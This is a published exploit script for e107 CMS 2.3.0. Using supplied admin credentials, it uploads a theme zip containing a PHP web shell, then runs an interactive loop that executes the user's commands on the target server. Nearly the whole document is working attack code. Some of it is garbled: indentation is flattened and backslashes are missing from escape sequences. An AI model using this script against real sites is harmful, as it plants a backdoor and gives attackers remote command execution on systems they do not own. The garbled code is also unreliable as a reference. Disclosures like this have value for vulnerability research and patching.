Authored by Halit Akaydin

e107 CMS version 2.3.0 authenticated remote shell upload exploit.

# Exploit Title: e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)
# Date: 21-09-2021
# Exploit Author: Halit AKAYDIN (hLtAkydn)
# Vendor Homepage: https://e107.org/
# Software Link: https://e107.org/download
# Version: 2.3.0
# Category: Webapps
# Tested on: Linux/Windows

# e107 is a free website content management system
# Includes an endpoint that allows remote access
# Theme page is misconfigured, causing security vulnerability
# User information with sufficient permissions is required.
# The contents of the upload "malicious.zip" file must be too long to read to bypass some security measures!

# Example: python3 exploit.py -u http://example.com -l admin -p Admin123
# python3 exploit.py -h


from time import sleep
import requests
import argparse


def main():
parser = argparse.ArgumentParser(
description='e107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)'
)
parser.add_argument('-u', '--host', type=str, required=True)
parser.add_argument('-l', '--login', type=str, required=True)
parser.add_argument('-p', '--password', type=str, required=True)
args = parser.parse_args()
print("ne107 CMS 2.3.0 - Remote Code Execution (RCE) (Authenticated)",
"nExploit Author: Halit AKAYDIN (hLtAkydn)n")
host(args)



def host(args):
#Check http or https
if args.host.startswith(('http://', 'https://')):
print("[?] Check Url...n")
sleep(2)
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass
else:
print("n[?] Check Adress...n")
sleep(2)
args.host = "http://" + args.host
args.host = args.host
if args.host.endswith('/'):
args.host = args.host[:-1]
else:
pass


# Check Host Status
try:
response = requests.get(args.host)
if response.status_code != 200:
print("[-] Address not reachable!")
sleep(2)
exit(1)
else:
check(args)

except requests.ConnectionError as exception:
print("[-] Address not reachable!")
sleep(2)
exit(1)



def check(args):
response = requests.get(args.host + "/e107_themes/payload/payload.php?cmd=whoami")
if response.status_code == 200:
print("[*] Exploit File Exists!n")
sleep(2)
exploit(args)
else:
login(args)



def login(args):
url = args.host + "/e107_admin/admin.php"
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": args.host,
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/e107_admin/admin.php",
"Accept-Encoding": "gzip, deflate",
"Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
data = {"authname": args.login, "authpass": args.password, "authsubmit": "Log In"}
response = requests.post(url, headers=headers, data=data, allow_redirects=False)
new_cookie = response.cookies.get("MySi_cookieSID")
if (response.headers.get("Location") == "admin.php?failed"):
print("[-] Login Failed...n")
print("Your username or password is incorrect.")
sleep(2)
exit(1)
else:
print("[+] Success Login...n")
sleep(2)
install(args, new_cookie)



def install(args, new_cookie):
url = args.host + "/e107_admin/theme.php"
cookies = {
"MySi_cookieSID": new_cookie,
"e107_tzOffset": "-180"}
headers = {
"Cache-Control": "max-age=0",
"Upgrade-Insecure-Requests": "1",
"Origin": args.host,
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"Referer": args.host + "/e107_admin/theme.php?mode=main&action=upload",
"Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9",
"Connection": "close"
}
data = "------WebKitFormBoundaryrnContent-Disposition: form-data; name="MAX_FILE_SIZE"rnrn2097152rn------WebKitFormBoundaryrnContent-Disposition: form-data; name="ac"rnrn005cd2159fa5342883b18a46726a908drn------WebKitFormBoundaryrnContent-Disposition: form-data; name="file_userfile[]"; filename="payload.zip"rnContent-Type: application/ziprnrnPKx03x04x14x03x00x00x00x00xf9|5Sx00x00x00x00x00x00x00x00x00x00x00x00x08x00x00x00payload/PKx03x04x14x03x00x00x08x00xc2x845Sxb1xa6xeeb>x00x00x00Mx00x00x00x13x00x00x00payload/payload.phpxb3xb1/xc8(Pxc8Lxd3xc8,.N-xd1Px89wwrx89VOxceMQx8fxd5xd4xacVPx01xb2x14lx15Pxc5xadx15x8a+x8bKRs5@xb2@^Jfxaaxb5Bxadx82xbdx1dx00PKx01x02?x03x14x03x00x00x00x00xf9|5Sx00x00x00x00x00x00x00x00x00x00x00x00x08x00$x00x00x00x00x00x00x00x10x80xedAx00x00x00x00payload/nx00 x00x00x00x00x00x01x00x18x00x00xafx9bxc4xe5xaexd7x01x80E4xc5xe5xaexd7x01x00xafx9bxc4xe5xaexd7x01PKx01x02?x03x14x03x00x00x08x00xc2x845Sxb1xa6xeeb>x00x00x00Mx00x00x00x13x00$x00x00x00x00x00x00x00 x80xa4x81&x00x00x00payload/payload.phpnx00 x00x00x00x00x00x01x00x18x00x80/x99xe6xedxaexd7x01x008xa1xxeexaexd7x01x80/x99xe6xedxaexd7x01PKx05x06x00x00x00x00x02x00x02x00xbfx00x00x00x95x00x00x00x00x00rn------WebKitFormBoundaryrnContent-Disposition: form-data; name="upload"rnrn1rn------WebKitFormBoundary--rn"
response = requests.post(url, headers=headers, cookies=cookies, data=data, allow_redirects=False)

if (response.status_code == 301):
print("[!] Unauthorized user!nn")
print("Requires user with add theme permissions.")
sleep(2)
exit(1)
else:
print("[!] Upload Vuln File!n")
sleep(2)
exploit(args)



def exploit(args):
print("[+] Exploit Done!n")
sleep(2)

while True:
cmd = input("$ ")
url = args.host + "/e107_themes/payload/payload.php?cmd=" + cmd
headers = {
"Upgrade-Insecure-Requests": "1",
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:77.0) Gecko/20190101 Firefox/77.0"
}

response = requests.post(url, headers=headers, timeout=5)

if response.text == "":
print(cmd + ": command not foundn")
else:
print(response.text)

if __name__ == '__main__':
main()